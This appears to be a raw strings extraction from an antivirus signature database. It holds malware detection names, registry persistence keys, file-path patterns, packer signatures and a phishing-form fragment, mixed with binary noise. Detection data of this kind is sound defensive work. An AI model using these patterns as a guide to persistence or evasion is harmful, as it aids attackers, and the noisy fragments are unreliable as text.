+SYSTEM\\CurrentControlSet\\Services\\Kbdclass +SYSTEM\\CurrentControlSet\\Services\\PerfDisk +SYSTEM\\CurrentControlSet\\Services\\flpydisk +SYSTEM\\CurrentControlSet\\control\\lsa\\skew1 +SYSTEM\\CurrentControlSet\\services\\inetaccs +SYSTEM\\CurrentControlSet\\services\\ndistapi +SYSTEM\\CurrentControlSet\\services\\plugplay +SYSTEM\\CurrentControlSet\\services\\seclogon +SYSTEM\\controlset001\\services\\npfs\\aliases +software\\classes\\msdasc\\shell\\open\\command +system\\currentcontrolset\\services\\23333333 +system\\currentcontrolset\\services\\mspclock +system\\currentcontrolset\\services\\vqswoftf ADODB.ErrorLookup 6ADODB Error Lookup Service Microsoft.Update.Session (UpdateSession Class Scripting.FileSystemObject $FileSystem Object CertificateAuthority.Config \"CertConfig Class d#mime\\database\\charset\\windows-1250 d#mime\\database\\charset\\windows-1251 d#mime\\database\\charset\\windows-1252 d#mime\\database\\charset\\windows-1253 )control panel\\accessibility\\blind access software\\microsoft\\dataaccess full21install ,SYSTEM\\CurrentControlSet\\Control\\StillImage ,SYSTEM\\CurrentControlSet\\Enum\\Root\\ACPI_HAL ,SYSTEM\\CurrentControlSet\\services\\acpi\\enum ,SYSTEM\\CurrentControlSet\\services\\msiserver ,Software\\microsoft\\active setup\\mimefeature ,software\\Microsoft\\internet explorer\\styles ,software\\classes\\txtfile\\shell\\open\\command ,software\\classes\\xslfile\\shell\\open\\command ,system\\controlset001\\control\\productoptions ,system\\currentcontrolset\\services\\netddesvc ,system\\currentcontrolset\\services\\vboxguest ,system\\currentcontrolset\\services\\winhelp32 f-AppID\\{000C101C-0000-0000-C000-000000000046} f-CLSID\\{00000104-0000-0010-8000-00AA006D2EA4} f-CLSID\\{00000315-0000-0000-C000-000000000046} f-CLSID\\{000C1094-0000-0000-C000-000000000046} f-CLSID\\{ecabafc3-7f19-11d2-978e-0000f8757e2a} f-certificate_wab_auto_file\\shell\\open\\command !software\\d\\ctpkontrolle\\settings  -SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion 'SYSTEM\\CurrentControlSet\\Services\\Dhcp -SOFTWARE\\Classes\\exefile\\shellex\\drophandler -SOFTWARE\\Microsoft\\Active Setup\\ClsidFeature -SYSTEM\\ControlSet001\\services\\ipfilterdriver -SYSTEM\\CurrentControlSet\\Enum\\STORAGE\\Volume -SYSTEM\\CurrentControlSet\\Services\\Cdrom\\Enum -Software\\Classes\\VBSfile\\shell\\open2\\command -Software\\microsoft\\directinput\\compatibility -software\\classes\\cdo.ss_nntponpostsink\\clsid -software\\classes\\vbsfile\\shellex\\drophandler -software\\classes\\wordpad.document.1\\protocol -system\\controlset001\\control\\prioritycontrol -system\\currentcontrolset\\services\\parameters ias.policyenforcer\\curver *IAS.PolicyEnforcer.1 CertificateAuthority.Request $CertRequest Class internetexplorer.application $Internet Explorer h%mime\\database\\charset\\_autodetect_kr .SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run software\\microsoft\\directx 4.09.00.0904 &SOFTWARE\\Tencent\\PlatForm_TYPE_LIST\\3 \tTypePath .SOFTWARE\\Classes\\Directory\\Background\\shellex .SOFTWARE\\Microsoft\\Windows\\C ([^\\%.]+)$ Lua:Context/NonPeFileInStartUpFolder.A! (Lua:Context/NonPeFileInStartUpFolder.A!    !#Lua:TrojanDropper:VBS/Micwix!Crypt1 !#Lua:TrojanDropper:VBS/Micwix!Crypt1IncludesConversionToBinary_fastDec2BinObMpAttributes = \".-39 %d[%D]-\"%s (%d+)[%D]+ [Micwix] \t[Micwix] !#PEPCODE:TrojanDropper:Win32/Small.RZ @DW@C  Chanitor Trojan:Win32/Chanitor ^winlogin$ \\windows\\winlogin.exe$ 71614cc91c6c  2e29c0f8f131 2e29c0f8f131IncludesResearchData   readheader readfooter \"\"\" | base64  [Base64Enc] //SCPT:Base64.Encoded !#Lua:Ransom:Win32/Tescrypt!recfile recover_file  recovery_file restore_file  how_recover !#PEPCODE:TrojanDropper:Win32/Pukish.A   25b3b7e60ef3 47b3cb4ddfa4  \\winrshost.exe \\bcryptprimitives.dll  5fb3467db8fa \\system32\\taskeng.exe   !#ALFPER:ContextEXEonCDDrive ^\\device\\cdrom[0-9][0-9]?$ CONTEXT_DATA_FILE_ATTRIBUTES  55b317e5eb79  pcpitstopscheduleservice.exe  !#chromecrxpackage   [ChromeCrxPackage] !#LUA:TxtMzHexToBin !#LUA:TxtMzHexToBinIncludesConversionToBinary_fastHex2BinObMpAttributes  4d5a9000 \t4d5a9000 ([0-9A-Fa-f][0-9A-Fa-f]) [txtmzhextobin] !#Lua:StartupLinks.A !#Lua:StartupLinks.AObMpAttributesxx \\microsoft\\windows\\start menu\\programs\\startup.*%.lnk 6\\microsoft\\windows\\start menu\\programs\\startup.*%.lnk  !#SLF:Ransom:Win32/Tibbar.B!rsm cscc.dat \tcscc.dat infpub.dat  147b3925bbe5d  (%l:\\.+%.class)  9b278d8fa2e1d 9b278d8fa2e1dFlags1   exprtRva \texprtRva imprtSize  contains_rva  3dd0ea07e330 3dd0ea07e330IncludesResearchData \">To protect access to your account, you will need to provide your Discover Bank Account Number, a\">To protect access to your account, you will need to provide your Discover Bank Account Number, <form name=\"regForm1\" id=\"regForm1\" method=\"post\" action=\"http:// B<form name=\"regForm1\" id=\"regForm1\" method=\"post\" action=\"http:// .php\" autocomplete=\"on\"> 2db33f89389f ]8u]U SuspFileDroppedBySystemProcess !#ALF:ContextualDropADSExecEntity %w+[:]%w+%.%w+$ 5e950ad7e5de sigoffset  e1b3b23fb4c6 e1b3b23fb4c6IncludesBMLuaLib \\\\amd.com\\   1fa789c5f8bd7 2597866158d45 19b334fce997 \\mailstorehome.exe \\mailstoreclient.exe  1b278df76e014 3e788932033b     au3_opcode_ptr  1d295a3c4423 1d295a3c4423IncludesResearchData   [Base64Decode] //SCPT:Base64.Decoded !#Lua:Kovter.A \\local settings\\application data\\kb $\\local settings\\application data\\kb \\appdata\\local\\kb Lua:Kovter.A  !#Lua:Adware:Adposhel (.+\\)(.+)\\$ %x%x%x%x%x%x%x%x.dll %x%x%x%x%x%x%x%x LUA:Adposhell:Name !#SLF:Lua:ScriptAttachment.A !#SLF:Lua:ScriptAttachment.AIncludesResearchDataObMpAttributes Lua:FileInOutlookCache.A Lua:FileInWindowsMailApp.A 2db39577e424 %localappdata%\\microsoft\\windows\\ \"%localappdata%\\microsoft\\windows\\ %system%\\  %system%\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\ ?%system%\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\ 5cb387ddca62 !#ALF:ExcelDownloader!ibt !#ALF:ExcelDownloader!ibtObMpAttributes .xlsb-> %.xlsb%->.+ >xl/macrosheets/ 417813caa507 417813caa507Flags1  Obfuscator_LowFi !#GateKeeper.A !#GateKeeper.AObMpAttributes GetOsVersion  GetOsBuildNumber IsSampled   !#Lua:WebsiteFileHasIOAVURL !#Lua:WebsiteFileHasIOAVURLObMpAttributes .website \t.website Lua:WebsiteFileHasIOAVURL Lua:WebsiteChildFileHasIOAVURL .appref-ms Lua:ApprefFileHasIOAVURL Lua:ApprefChildFileHasIOAVURL !#Lua:SuspiciousJenxcusFilename ^%a%a%a%a%a%a%a%a%a%a%.%.vbs$ ^%a%a%a%a%a%a%a%a%a%a%.%.vbe$ !#Lua:DorkbotDropper.A cleaner.exe Lua:DorkbotDropper.A !#Lua:ContextualBrowserDownload.A  firefox.exe  microsoftedge.exe browser_broker.exe antimalware.tools.testhips.exe !#PEPCODE:TrojanDownloader:Win32/Renos.gen!AR   !#AvTempFile !#AvTempFileObMpAttributes !PECompact_1_56   !#MPTEST-AGG-02   !#ExeCryptor_LZ   !RarDefault_371   !RarDefault_300   !RarDefault_390   !Pecompact_0978   !Pecompact_0978  KT !ASPack2k_2001b   !MoleBox_2_3640   !PESentry_0_05a   !PESentry_0_05a  _ !RarDefault_260   !RarDefault_260  _ !RarDefault_270   !RarDefault_270  _ !RarDefault_271   !RarDefault_280   !RarDefault_290   !RarDefault_340   !RarDefault_342   !RarDefault_341   !RarDefault_330   !RarDefault_311   !RarDefault_310   !RarDefault_320   !RarDefault_3xx   !#MPTEST-AGG-00   !RarDefault_3xx ! !SfxCab_3bbdda3b ! !Pecompact_09753 ! !Pecompact_09761 ! !RarWinCon_390b1 ! !RarWinCon_390b1 !V !SfxCab_556fcda4 ! !SfxCab_556fcda4 !V !SfxCab_b1302d4c ! !SfxCab_d53d2e4f ! !SfxCab_d53d2e4f !D !SfxCab_bb7f3874 ! !SfxCab_bb7f3874 !+6 !JDProtect_0_90B ! !SfxCab_8ead0856 ! !SfxCab_8ead0856 !o= !PECompact_1_30+ ! !SfxCab_7a5100d5 ! !SfxCab_7a5100d5 !q !#do_deep_rescan ! !#do_deep_rescan !U !RarDefault_370p ! !RarDefault_370p !U !RarDefault_37b1 ! !RarDefault_37b1 !U !RarDefault_37b3 ! !PECompact_1_60+ ! !PECompact_1_66+ ! !SimplePack_1_11 ! !SfxCab_f8e1559a ! !AverCryptor_1_0 ! !SfxCab_3042dbd6 ! !SfxCab_c7f925e5 ! !SfxCab_29ef55d8 ! !SfxCab_29ef55d8 !x !SfxCab_9401eb59 ! !SfxCab_cecf004d ! !SfxCab_ab7ba1b2 ! !SfxCab_bec89f1c ! !RarDefault_371p ! !ExeStealth_2_74 ! !ExeStealth_2_70 ! !ExeStealth_2_70 !o X~S $ !PEBundle_2_01b1 ! !EPLCmp_9b4c6182 ! !EPLCmp_354cbad6 ! !RarDefault_342p ! !RarDefault_350p ! !RarDefault_341p ! !RarDefault_3xxp ! !RarDefault_360p ! !RarDefault_330p ! !RarDefault_340p ! !RarDefault_320p ! !ExeStealth_2_72 ! !Pecompact_09781 \" $:? !RarDefault_380b4 \" !RarDefault_380b4 \"8  !Nuwar_largealloc \" !RarDefault_340b2 \" !RarDefault_340b2 \"*, !AverCryptor_1_02 \" !RarDefault_380b3 \" Eljd\" !RarDefault_390b1 \" !RarDefault_390b2 \" !RarDefault_360az \" !AlexProtector_1x \" !AlexProtector_1x \"s !Vundo_largealloc \" !RarDefault_380b1 \" !RarDefault_380b1 \"_ !RarDefault_270b2 \" !CabSfxW_4a1ba5bd # !CabSfxW_4a1ba5bd #U AfbyM !RarDefault_37b1_a # !RarDefault_37b1_a #U !RarDefault_37b4_a # !RarDefault_37b4_a #U !RarDefault_37b2_k # !RarDefault_37b2_k #U !RarDefault_37b4_a #x !RarDefault_340b2p # !nBinder_5_limited # !nBinder_5_limited #> !PEBundle_2_42_mem # !PECompact_1_40b2+ # !PECompact_1_40b2+ #o !PEBundle_2_40_mem $ !PEBundle_2_40_mem $# !#FOP:Deep_Analysis $ !#PEEMU:mpeattrtest $ C8-$9 !#PEEMU:mpeattrtest $C8-$9 !RarDefault_07_2008 $ !RarDefault_07_2008 $f -8{S+ @ !YodaProtector_1_03 $ !YodaProtector_1_03 $> !PEBundle_2_40_disk $ !Alureon_largealloc $ !Alureon_largealloc $\" !#FOP:Deep_Analysis $o !PEBundle_2_42_disk $ !PEBundle_2_42_disk $]bZ !#ExeCryptor_JCALG1 $ !#ExeCryptor_JCALG1 $( !UltraProtect_0_4_b $ !UltraProtect_0_4_b $p !#LowFiSimdaAntiEmu % !nBinder_5_5_limited % !#Virus:Win32/Anah.A % !ST_Protector_1_5_SE % !RarDefault_350b2brp & !#PEEMU:Deep_Analysis & !#PEEMU:Deep_Analysis &b- !#PEEMU:Deep_Analysis &u+\\8 !#Pameseg_SEH_decrypt & !#PEEMU:Deep_Analysis &ao 6F!jE !#PEEMU:Deep_Analysis &6F!jE 6F!jo !#PEEMU:Deep_Analysis &6F!jo !#PEEMU:Deep_Analysis &2 !#PEEMU:Deep_Analysis &N !#PEEMU:Deep_Analysis &- !#PEEMU:Deep_Analysis &[ !#PEEMU:Obfuscator.ES & !#PEEMU:Deep_Analysis &y<T !#SampleOnlyAttribute & !#PEEMU:Deep_Analysis &9& diPZ@ !#Win32/AutoIt_PEEMU1 & !#PEEMU:Deep_Analysis ' !#PEEMU:Deep_Analysis 'Y !nBinder_5_5_1_limited ' !nBinder_5_5_1_limited '^X !#PEEMU:Themida_Packer ' !#PEEMU:Themida_Packer 'k! !#Adware:Win32/Gabpath ' !#SIGATTR:mzinresource ( !#SIGATTR:mzinresource (:p !NTKRNL_Metmorphism_V01 ( !#PEEMU:Packer.ObfInWin ( !#PEEMU:Packer.ObfInWin (i !#PEEMU:Packer.ObfInWin (@c !#PEEMU:Packer.ObfInWin (G !#PEEMU:Packer.ObfInWin (w !#PEEMU:Packer.ObfInWin (+ !#PEEMU:MpPersistTest.A ( !#PEEMU:MpPersistTest.A (d !#PEEMU:Packer.ObfInWin ) !#PEEMU:Disable_APILimit ) !#PEEMU:Disable_APILimit )/J !#PEEMU:mov_ecx_ecx_junk ) !#PEEMU:mov_ecx_ecx_junk )E !#PEEMU:mov_esi_esi_junk ) !#PEEMU:Win32/Upatre_msg ) !#PEEMU:Disable_APILimit )2- > fqe !#PEEMU:ObfuscatorBerrof ) !#PEEMU:ObfuscatorBerrof ); !#PEEMU:mov_eax_eax_junk ) !#PEEMU:mov_edi_edi_junk * !#VirTool:Win32/CeeInject * !#VirTool:Win32/CeeInject *m|e !#PEEMU:ObfuscatorSelfdel * !#PEEMU:ObfuscatorSelfdel *KN !#VirTool:Win32/CeeInject *yl !#PEEMU:GamarueObfuscator * !#PEEMU:GamarueObfuscator *U\\ !#VirTool:Win32/CeeInject *V !#PEEMU:Disable_SEH_Limit + !#PEEMU:Disable_SEH_Limit +V\\ V1Ya@ !#PEEMU:Obfuscator_JR_Main + !#PEEMU:Worm:Win32/Agent.A + !#PEEMU:Worm:Win32/Agent.A +e !#PEEMU:Obfuscator_JR_Flip + !#PEEMU:Obfuscator_JR_Flip +<V !#PEEMU:Obfuscator_JR_Main +<V !#PEEMU:Obfuscator_JR_Main +;HR !#attrmatch_delfinjectrsrc + !#attrmatch_delfinjectrsrc +? !#attrmatch_delfinjectrsrc +S| !#attrmatch_delfinjectrsrc - !#Virus:Win32/Sality.gen!enc - !#PEEMU:PWS:Win32/Ldpinch.BE -  /Sb[ /Sb[ !#PEEMU:Virus:Win32/Golem.G5 - !#Virus:Win32/Sality.gen!enc -3 !#Virus:Win32/Sality.gen!enc . !#Virus:Win32/Sality.gen!enc .g !#PEEMU:Worm:Win32/Colowned.A . b8\\m@ !#ALF:Trojan:Win32/Memcat!dha . !#ALF:Trojan:Win32/Memcat!dha .S%2 !#PEEMU:Virus:Win32/Expiro.CI / @h  LuK !#PEEMU:Virus:Win32/Expiro.CI /@h  LuK !#FOPEX:Deep_Analysis_VMM_Grow / !#FOPEX:Deep_Analysis_VMM_Grow /VK- !#PEEMU:Trojan:Win64/Viknok!EP / !#PEEMU:Trojan:Win64/Viknok!EP /z !#FOPEX:Deep_Analysis_VMM_Grow 0 !#PEEMU:Trojan:Win32/Sefnit.K.2 0 !#PEEMU:VirTool:Win32/CeeInject 0 !#PEEMU:deep_analysis_quervar_c 0 !#PEEMU:Trojan:Win32/Sefnit.K.1 1 !#PEEMU:Trojan:Win32/Sefnit.K.1 1Lf_  !#PEEMU:Obfuscator_JR_Main_Type2 1 @ !#PEEMU:Obfuscator_JR_Main_Type2 1j  !#PEEMU:Obfuscator_JR_Main_Type3 1 @ !#PEEMU:Obfuscator_JR_Main_Type3 1o> 3T@ !#PEEMU:Obfuscator_JR_Main_Type2 1 @ !#PEEMU:Obfuscator_JR_Main_Type2 1'  !#PEEMU:Obfuscator_JR_Main_Type2 2 @ !#PEEMU:Obfuscator_JR_Main_Type2 2 !!#PEEMU:Trojan:Win32/Tibs.gen!J.2 2 !!#PEEMU:Trojan:Win32/Tibs.gen!J.1 3 \"!#LoD:VirTool:Win32/Obfuscator.ACW 3 1@\"!#LoD:VirTool:Win32/Obfuscator.ACW 3 \"!#Quervar_Packer_LoadLibrary_Trick 3 H1\"!#Quervar_Packer_LoadLibrary_Trick 3 \"!#LoD:VirTool:Win32/Obfuscator.ACW 3-obK @\"!#LoD:VirTool:Win32/Obfuscator.ACW 3=a  \"!#LoD:VirTool:Win32/Obfuscator.ACW 3R @\"!#LoD:VirTool:Win32/Obfuscator.ACW 38{ KM@\"!#LoD:VirTool:Win32/Obfuscator.ACW 3 @\"!#LoD:VirTool:Win32/Obfuscator.ACW 3@ \"!#TELPER:Possible_Obf_Platinum!dha 4 @\"!#TELPER:Possible_Obf_Platinum!dha 4 #!#PEEMU:Backdoor:Win32/Poison.L!dam 4 #!#PEEMU:VirTool:Win32/Obfuscator.AU 5 /I#!#PEEMU:VirTool:Win32/Obfuscator.AU 5 $!#PEEMU:VirTool:Win32/Obfuscator.AKK 5  $!#PEEMU:VirTool:Win32/Obfuscator.AKK 5 $!#LoD:VirTool:Win32/Obfuscator.ACV.2 5 g>\"4g>\"4 $!#LoD:VirTool:Win32/Obfuscator.ACV.2 5g>\"4g>\"4 $!#LoD:VirTool:Win32/Obfuscator.ACV.2 5b $!#PEEMU:VirTool:Win32/Obfuscator.ALL 5 $!#PEEMU:VirTool:Win32/Obfuscator.ALL 5u $!#LoD:VirTool:Win32/Obfuscator.ACV.2 5k[  $!#LoD:VirTool:Win32/Obfuscator.ACV.2 53>z $!#LoD:VirTool:Win32/Obfuscator.ACV.2 5/^< $!#PEEMU:VirTool:Win32/Obfuscator.AKH 5 @$!#PEEMU:VirTool:Win32/Obfuscator.AKH 5 $!#LoD:VirTool:Win32/Obfuscator.ACV.2 5Cf $!#LoD:VirTool:Win32/Obfuscator.ACV.2 5Q $!#LoD:VirTool:Win32/Obfuscator.ACV.2 5\\ $!#LoD:VirTool:Win32/Obfuscator.ACV.2 6 $!#LoD:VirTool:Win32/Obfuscator.ACV.2 6o %!#attrmatch_codepatch_EIP_00000003_eb 6 E<@%!#attrmatch_codepatch_EIP_00000003_eb 6 %!#attrmatch_codepatch_EIP_0000000C_74 6 %!#attrmatch_codepatch_EIP_0000000C_74 6M/ %!#attrmatch_codepatch_EIP_00000051_00 6 W%!#attrmatch_codepatch_EIP_00000051_00 6 %!#attrmatch_codepatch_EIP_00000002_eb 6 T@%!#attrmatch_codepatch_EIP_00000002_eb 6 %!#attrmatch_codepatch_EIP_00000049_72 6 %!#attrmatch_codepatch_EIP_0000002A_EB 6 .%!#attrmatch_codepatch_EIP_0000002A_EB 6 %!#attrmatch_codepatch_EIP_00000019_EB 6 @%!#attrmatch_codepatch_EIP_00000019_EB 6C %!#attrmatch_codepatch_EIP_0000001f_eb 6 %!#attrmatch_codepatch_EIP_00000012_EB 6 %!#attrmatch_codepatch_EIP_00000017_EB 6 @%!#attrmatch_codepatch_EIP_00000017_EB 6o %!#attrmatch_codepatch_EIP_0000004D_75 6 %!#attrmatch_codepatch_EIP_0000007C_73 6 %!#attrmatch_codepatch_EIP_0000007C_73 6^8+5 %!#attrmatch_codepatch_EIP_0000004B_82 6 %!#attrmatch_codepatch_EIP_0000004B_82 6= %!#attrmatch_codepatch_EIP_0000000D_EB 6 Z%!#attrmatch_codepatch_EIP_0000000D_EB 6 %!#attrmatch_codepatch_EIP_00000000_C3 6 %!#attrmatch_codepatch_EIP_00000000_C3 6{ %!#attrmatch_codepatch_EIP_00000005_EB 6 q %!#attrmatch_codepatch_EIP_0000002E_82 6 @K2A %!#attrmatch_codepatch_EIP_0000002E_82 6@K2A %!#attrmatch_codepatch_EIP_00000038_5A 6 %!#attrmatch_codepatch_EIP_00000047_74 6 %!#attrmatch_codepatch_EIP_00000009_EB 6 I]!&%!#attrmatch_codepatch_EIP_00000009_EB 6 %!#attrmatch_codepatch_EIP_00000006_00 6 @%!#attrmatch_codepatch_EIP_00000006_00 6 %!#attrmatch_codepatch_EIP_00000023_7D 6 g@%!#attrmatch_codepatch_EIP_00000023_7D 6 %!#attrmatch_codepatch_EIP_00000017_8E 6 @%!#attrmatch_codepatch_EIP_00000017_8E 6a %!#attrmatch_codepatch_EIP_000000BD_72 6 %!#attrmatch_codepatch_EIP_000000BD_72 6* %!#attrmatch_codepatch_EIP_00000008_84 6 @%!#attrmatch_codepatch_EIP_00000008_84 6I %!#attrmatch_codepatch_EIP_00000036_eb 6 @%!#attrmatch_codepatch_EIP_00000036_eb 6 %!#attrmatch_codepatch_EIP_0000000A_7E 6 ,%!#attrmatch_codepatch_EIP_0000000A_7E 6 %!#attrmatch_codepatch_EIP_0000000E_7E 6 .W@%!#attrmatch_codepatch_EIP_0000000E_7E 6/ %!#attrmatch_codepatch_EIP_00000025_EB 6 %!#attrmatch_codepatch_EIP_00000025_EB 6F %!#attrmatch_codepatch_EIP_00000019_7E 6 %!#attrmatch_codepatch_EIP_00000019_7E 6* *z@%!#attrmatch_codepatch_EIP_00000017_EB 6 %!#attrmatch_codepatch_EIP_00000000_C3 6^[ %!#attrmatch_codepatch_EIP_000000CF_84 6 %!#attrmatch_codepatch_EIP_000000CF_84 6d )@%!#attrmatch_codepatch_EIP_00000006_00 6} %!#attrmatch_codepatch_eip_00000044_90 6 @%!#attrmatch_codepatch_eip_00000044_90 6 %!#attrmatch_codepatch_EIP_0000003A_72 6 %!#attrmatch_codepatch_EIP_0000003A_72 6M r]@%!#attrmatch_codepatch_EIP_00000002_eb 6 %!#attrmatch_codepatch_EIP_0000002F_EB 6 <[%!#attrmatch_codepatch_EIP_0000002F_EB 6 %!#attrmatch_codepatch_EIP_00000006_EB 6 %!#attrmatch_codepatch_EIP_00000006_EB 6, %!#attrmatch_codepatch_EIP_00000028_EB 6 T@%!#attrmatch_codepatch_EIP_00000028_EB 6 %!#attrmatch_codepatch_EIP_00000041_90 6 %!#attrmatch_codepatch_EIP_00000041_90 6Sj %!#attrmatch_codepatch_EIP_0000001A_EB 6 @%!#attrmatch_codepatch_EIP_0000001A_EB 6 %!#attrmatch_codepatch_EIP_00000010_EB 6 @%!#attrmatch_codepatch_EIP_00000010_EB 6p %!#attrmatch_codepatch_EIP_0000002E_00 6 ;@%!#attrmatch_codepatch_EIP_0000002E_00 6$ %!#attrmatch_codepatch_EIP_0000001E_EB 6 @%!#attrmatch_codepatch_EIP_0000001E_EB 6$ %%!#attrmatch_codepatch_EIP_0000001E_EB 6w %!#attrmatch_codepatch_EIP_0000006A_75 6 %!#attrmatch_codepatch_EIP_0000005C_74 6 %!#attrmatch_codepatch_EIP_0000001B_83 6 %!#attrmatch_codepatch_eip_00000008_EB 6 @%!#attrmatch_codepatch_eip_00000008_EB 6z& X@%!#attrmatch_codepatch_EIP_00000017_EB 6 \\%!#attrmatch_codepatch_EIP_00000000_C3 6 %!#attrmatch_codepatch_EIP_0000000C_EB 6 5*%!#attrmatch_codepatch_EIP_0000000C_EB 6~|9 .@%!#attrmatch_codepatch_EIP_00000025_EB 6 %!#attrmatch_codepatch_EIP_0000000D_00 6 %!#attrmatch_codepatch_EIP_00000036_73 6 %!#attrmatch_codepatch_EIP_0000001B_74 6 %!#attrmatch_codepatch_EIP_0000001B_74 6G > %!#attrmatch_codepatch_EIP_0000001A_85 6 %!#attrmatch_codepatch_EIP_0000001B_EB 6 @%!#attrmatch_codepatch_EIP_0000001B_EB 6<K %!#attrmatch_codepatch_EIP_00000092_7D 6 %!#attrmatch_codepatch_EIP_00000092_7D 6- %!#attrmatch_codepatch_EIP_0000002f_8d 6 %!#attrmatch_codepatch_EIP_0000002f_8d 6S %!#attrmatch_codepatch_EIP_00000024_EB 6 @%!#attrmatch_codepatch_EIP_00000024_EB 6 *%!#attrmatch_codepatch_EIP_0000000C_EB 6 %!#attrmatch_codepatch_EIP_00000006_92 6 %!#attrmatch_codepatch_EIP_00000006_92 6m @%!#attrmatch_codepatch_EIP_00000019_EB 6 %!#attrmatch_codepatch_EIP_0000002C_74 6 %!#attrmatch_codepatch_EIP_00000011_7E 6 @%!#attrmatch_codepatch_EIP_00000011_7E 6 %!#attrmatch_codepatch_EIP_0000006F_82 6 %!#attrmatch_codepatch_EIP_00000098_74 6 %!#attrmatch_codepatch_EIP_00000098_74 6` %!#attrmatch_codepatch_EIP_0000003A_00 6 @%!#attrmatch_codepatch_EIP_0000003A_00 6=\\ %!#attrmatch_codepatch_EIP_00000022_eb 6 %!#attrmatch_codepatch_EIP_00000022_eb 6^ %!#attrmatch_codepatch_EIP_0000005C_73 6 %!#attrmatch_codepatch_EIP_0000005C_73 6DyK %!#attrmatch_codepatch_EIP_0000001D_EB 6 6d@%!#attrmatch_codepatch_EIP_0000001D_EB 6 %!#attrmatch_codepatch_EIP_00000010_7E 6 @%!#attrmatch_codepatch_EIP_00000010_7E 6a#K %!#attrmatch_cod isFirstTimeATActive getFTATData FirstTime  set_detection_string  !#Lua:JSEMU_WscriptCscriptContext [^\\]+$  ^%l+%.js \t^%l+%.js IsWscriptCopyMadeByBondat \\appdata\\roaming\\%l+\\%l+[63]?[42]?%.exe$ )\\appdata\\roaming\\%l+\\%l+[63]?[42]?%.exe$ \\appdata\\roaming\\%l+$ \\%.trashes\\%d+$ Lua:BondatContextualWscriptRunWithPath_GenFirst 0Lua:BondatContextualWscriptRunWithPath_GenFirst winprocess.exe winupdate32.exe winhost32.exe msupdate.exe  winupdate.exe mshost.exe Lua:BondatContextualWscriptRun intel monitor update 64.exe 32.exe !#Lua:AccessibilityEscalationContext.B !#Lua:AccessibilityEscalationContext.BObMpAttributes   sethc utilman2.exe  utilman screenmagnifier.exe magnifier   sr.exe narrator \tnarrator displayswitch  \\\\%?\\  Lua:AccessibilityEscalationContext.B!noversioninfo 3Lua:AccessibilityEscalationContext.B!noversioninfo microsoft corporation Lua:AccessibilityEscalationContext.B!mimick ,Lua:AccessibilityEscalationContext.B!mimick Lua:AccessibilityEscalationContext.B!originalfname_nomatch ;Lua:AccessibilityEscalationContext.B!originalfname_nomatch Lua:AccessibilityEscalationContext.B!internalname_nomatch :Lua:AccessibilityEscalationContext.B!internalname_nomatch Lua:AccessibilityEscalationContext.B!company_nomatch 5Lua:AccessibilityEscalationContext.B!company_nomatch Lua:AccessibilityEscalationContext.B!friendly .Lua:AccessibilityEscalationContext.B!friendly Lua:AccessibilityEscalationContext.B!unfriendly 0Lua:AccessibilityEscalationContext.B!unfriendly !#ALF:Lua:ExeHugeOverlay     Lua:ExeGamObfusHugeOverlay 10a418b6dffd8 10a418b6dffd8IncludesBMLuaLib  [%w%-%.]*%.[%w%-]+%.[%w]+ NRI-DNS-TL-NTXT %s_%s_%s \t%s_%s_%s DNS-sinkhole  !#Lua:SingleFileInACE   Lua:SingleFileInACE Lua:SingleFileInACE!ufs Lua:SingleZipInACE Lua:SingleVBSInACE Lua:SingleLNKInACE Lua:SingleWSFInACE Lua:SingleVBEInACE Lua:SingleJSEInACE Lua:SingleHTAInACE Lua:SingleEXEInACE Lua:SingleDLLInACE Lua:SingleCOMInACE Lua:SinglePSInACE Lua:SingleBATInACE Lua:SingleRarInACE Lua:SingleACEInACE Lua:SingleJSInACE Lua:Single7zInACE Foxiebro FoxiebroIncludesGenericRepairHelpers BrowserModifier:Win32/Foxiebro   *.dll  %a:\\program files\\[%a%s]+\\uninstaller.exe *%a:\\program files\\[%a%s]+\\uninstaller.exe %a:\\programdata\\%x%x%x%x%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%x%x%x%x%x%x%x%x\\ Z%a:\\programdata\\%x%x%x%x%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%x%x%x%x%x%x%x%x\\ %a:\\program files.*\\common files\\%x%x%x%x%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%x%x%x%x%x%x%x%x\\ k%a:\\program files.*\\common files\\%x%x%x%x%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%x%x%x%x%x%x%x%x\\ !#Lua:OLE.Shellcode.Custom !#Lua:OLE.Shellcode.CustomObMpAttributes [Ee][Qq][Uu][Aa][Tt][Ii][Oo][Nn].3 #[Ee][Qq][Uu][Aa][Tt][Ii][Oo][Nn].3 SCRIPT:OLE.EquationCLSID SCPT:OLE.Equation3.A ->xl/embeddings/oleObject Lua:OLE.ShellcodeInSuspiciousFile \"Lua:OLE.ShellcodeInSuspiciousFile !#FOP:zbot_deep_analysisQ  !#FOP:zbot_deep_analysis  !#lua_codepatch_loktrom_b CHuJuX[Y !#FOP:Trojan:Win32/Waledacd !#ALFPER:Trojan:Win32/EmotetP11 \t!#ALFPER:Trojan:Win32/EmotetP11 !#FOP:Trojan:Win32/Vundo.JD.dllU+u !XTEA_A_1` !KKrunchy_0_23a !#FOP:Vapsup_Cmp !#FOP:Deep_Analysis !#FOP:Zbot_Packer_AU 3Uhdd !#do_vmmgrow_rescan) !#do_vmmgrow_rescan)GF1! !#FOP:Win32/Nivdort.09U !#FOP:Win32/Nivdort.15^_ !#FOP:Win32/Nivdort.29 !#FOP:Win32/Nivdort.31 !#ALFPER:Trojan:Win32/Emotet1  !#ALFPER:Trojan:Win32/Emotet1)  !#FOP:Win32/Obfuscator.PushRet.Ah !#FOP:VirTool:Win32/Obfuscator.CI1Phh !#FOP:VirTool:Win32/Obfuscator.CI1Ph !#FOP:VirTool:Win32/Obfuscator.CI1Qh !#FOP:VirTool:Win32/Obfuscator.CI1Rh !#FOP:VirTool:Win32/Obfuscator.CI1hhh !#FOP:VirTool:Win32/Obfuscator.CI1 !Unkpak  !Unkpak !Aspack_v21Stub0 !#FOP:Zbot_Packer_A !#FOP:Packer.ObfInWin !#do_exhaustivehstr_rescanU  !#zbot_obfuscator_codepatch !#FOP:VirTool:Win32/Obfuscator.CI2` !#FOP:VirTool:Win32/Obfuscator.CI2 !ldpinchPQRSjjj3V3V  !ldpinchPQRSjjj3V3V 